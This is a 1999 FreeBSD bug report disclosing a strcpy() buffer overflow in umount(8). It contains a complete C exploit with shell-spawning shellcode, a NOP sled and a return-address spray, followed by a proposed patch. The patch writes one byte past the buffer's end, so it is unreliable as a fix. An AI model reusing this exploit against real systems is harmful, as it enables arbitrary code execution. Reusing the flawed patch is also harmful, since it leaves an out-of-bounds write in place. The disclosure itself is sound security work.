Date: 18 Oct 1999 14:41:09 -0000 From: venglin@lubi.FreeBSD.lublin.pl To: FreeBSD-gnats-submit@freebsd.org Subject: bin/14406: [SECURITY] strcpy() buffer overflow in umount(8) Message-ID: <19991018144109.19840.qmail@lubi.FreeBSD.lublin.pl>
next in thread | raw e-mail | index | archive | help
>Number: 14406
>Category: bin
>Synopsis: [SECURITY] strcpy() buffer overflow in umount(8)
>Confidential: no
>Severity: non-critical
>Priority: high
>Responsible: freebsd-bugs
>State: open
>Quarter:
>Keywords:
>Date-Required:
>Class: sw-bug
>Submitter-Id: current-users
>Arrival-Date: Mon Oct 18 11:50:00 PDT 1999
>Closed-Date:
>Last-Modified:
>Originator: Przemyslaw Frasunek
>Release: FreeBSD 3.2-STABLE i386
>Organization:
Lublin BSD Users Group
>Environment:
All versions.
>Description:
It's possible to execute arbitrary code by overflowing buffer in
umount(8).
By default umount(8) is NOT installed with setuid or setgid bits set.
>How-To-Repeat:
/*
*
* (c) 1999 babcia padlina ltd. <babunia@FreeBSD.lublin.pl>
* FreeBSD /sbin/umount exploit.
*
*/
#include <stdio.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <string.h>
#define NOP 0x90
#define OFS 1800
#define BUFSIZE 1024
#define ADDRS 1200
long getesp(void)
{
__asm__("movl %esp, %eax\n");
}
int main(argc, argv)
int argc;
char **argv;
{
char *execshell =
"\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
"\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
"\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
"\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";
char *buf, *p;
int noplen, i, ofs;
long ret, *ap;
if(!(buf = (char *)malloc(BUFSIZE+1)))
{
perror("malloc()");
return -1;
}
if (argc > 2)
ofs = atoi(argv[1]);
else
ofs = OFS;
noplen = BUFSIZE - strlen(execshell);
ret = getesp() + ofs;
memset(buf, NOP, noplen);
buf[noplen+1] = '\0';
strcat(buf, execshell);
setenv("EGG", buf, 1);
if(!(buf = (char *)malloc(ADDRS+1)))
{
perror("malloc()");
return -1;
}
p = buf;
ap = (unsigned long *)p;
for(i = 0; i < ADDRS / 4; i++)
*ap++ = ret;
p = (char *)ap;
*p = '\0';
fprintf(stderr, "RET: 0x%x len: %d\n\n", ret, strlen(buf));
chmod(".", 0); // fuck da realpath()!
execl("/sbin/umount", "umount", buf, 0);
return 0;
}
>Fix:
*** sbin/umount/umount.c.orig Mon Aug 3 08:44:46 1998
--- sbin/umount/umount.c Mon Oct 18 16:36:49 1999
***************
*** 215,221 ****
if (realpath(name, rname) == NULL) {
/* Continue and let the system call check it... */
! strcpy(rname, name);
}
origname = name;
--- 215,222 ----
if (realpath(name, rname) == NULL) {
/* Continue and let the system call check it... */
! strncpy(rname, name, MAXPATHLEN-1);
! rname[MAXPATHLEN] = '\0';
}
origname = name;
>Release-Note:
>Audit-Trail:
>Unformatted:
To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-bugs" in the body of the message
Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?19991018144109.19840.qmail>